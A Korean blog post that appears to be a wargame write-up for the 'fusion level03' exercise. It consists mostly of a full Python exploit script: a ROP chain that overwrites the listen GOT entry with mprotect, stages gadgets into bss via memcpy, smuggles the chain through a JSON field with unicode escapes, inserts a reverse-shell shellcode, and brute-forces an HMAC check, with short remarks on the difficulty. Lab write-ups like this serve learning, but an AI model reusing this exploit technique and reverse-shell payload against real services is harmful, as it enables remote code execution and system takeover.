BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
40,483 Visitors up to today!
Today 0 hit, Yesterday 13 hit
daisy rss
tistory 티스토리 가입하기!
2016.04.25 21:33


완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from SunKn0wn import *
import hmac
import itertools
 
= remote('192.168.179.151'20003)
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
gadget = [0x8048b240x80494700x8049c500x8049690,    # listen_plt(overwirtten by mprotect)
          0x80481790x80495910x8049c500x8049690,    # pppr
          0x80481580x80488b40x8048b910x8049ca2,     # 0x09335000(allocated heap)
          0x80481580x80488fc0x80481580x8048158,     # 0x1000
          0x80491e00x80481d40x80481d40x80481d4,     # 7
          0x80494300x80494600x8048b910x8049ca2]    # allocated heap(0x093357d0)
memcpy_plt = 0x08048E60
listen_got = 0x0804BD24
popebpret = 0x804a26f
leaveret = 0x8049431
offset = 0xFFFFAF70
pppr = 0x804a26d
bss = 0x0804BDC0
pop_eax = 0x08049b4f
pop_ebx = 0x08049a4f
add_ebx = 0x080493fe
 
token = r.recv(1024)[1:-2]
 
################ overwrite listen to mprotect ################
attack = ''
attack += p32(pop_eax)
attack += p32(offset)
attack += 'A' * 0x5c
attack += p32(pop_ebx)
attack += p32((listen_got - 0x5d5b04c4) & 0xffffffff)
attack += p32(add_ebx)
 
################ call listen(mprotect) payload ################
for i in range(len(gadget)):
    attack += p32(memcpy_plt)
    attack += p32(pppr)
    attack += p32(bss + i)
    attack += p32(gadget[i])
    attack += "\\\\u0100\\\\u0000"
attack += p32(popebpret)
attack += p32(bss - 4)
attack += p32(leaveret)
 
payload = 'A' * 127
payload += '\\\\u4141' 
payload += 'A' * 31
payload += attack
 
payload2 = token + '\n'
payload2 += '{"title":"' + payload + '", '
payload2 += '"contents":"' + ReverseShell32 + '", '
payload2 += '"collision":"5unKn0wn'
################ making validate request ################
for col in itertools.product(table, repeat=4):
    send = payload2 + ''.join(col) + '"}'
    hash = hmac.new(token, send, hashlib.sha1)
    if hash.hexdigest()[:4== "0000":
        print "[*]Find! : " + send
        print "[*]hash : " + hash.hexdigest()
        break
 
r.send(send)
cs

ROP 가젯 이용해서 arbitrary write를 해 본적은 처음이어서 더 신기했다. 그리고 나는 아직 ROP에 대해서 확실하게 알고 있지 않았었던 거라는 것을 깨달았다. NULL 처리해 주는 거랑 마지막으로 mprotect는 0x1000단위로 떨어지는 메모리 단위로 인자를 넣어줘야 되는 것 때문에 고생 좀 했다.. 레벨 4가 근심걱정이 가득하다.

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret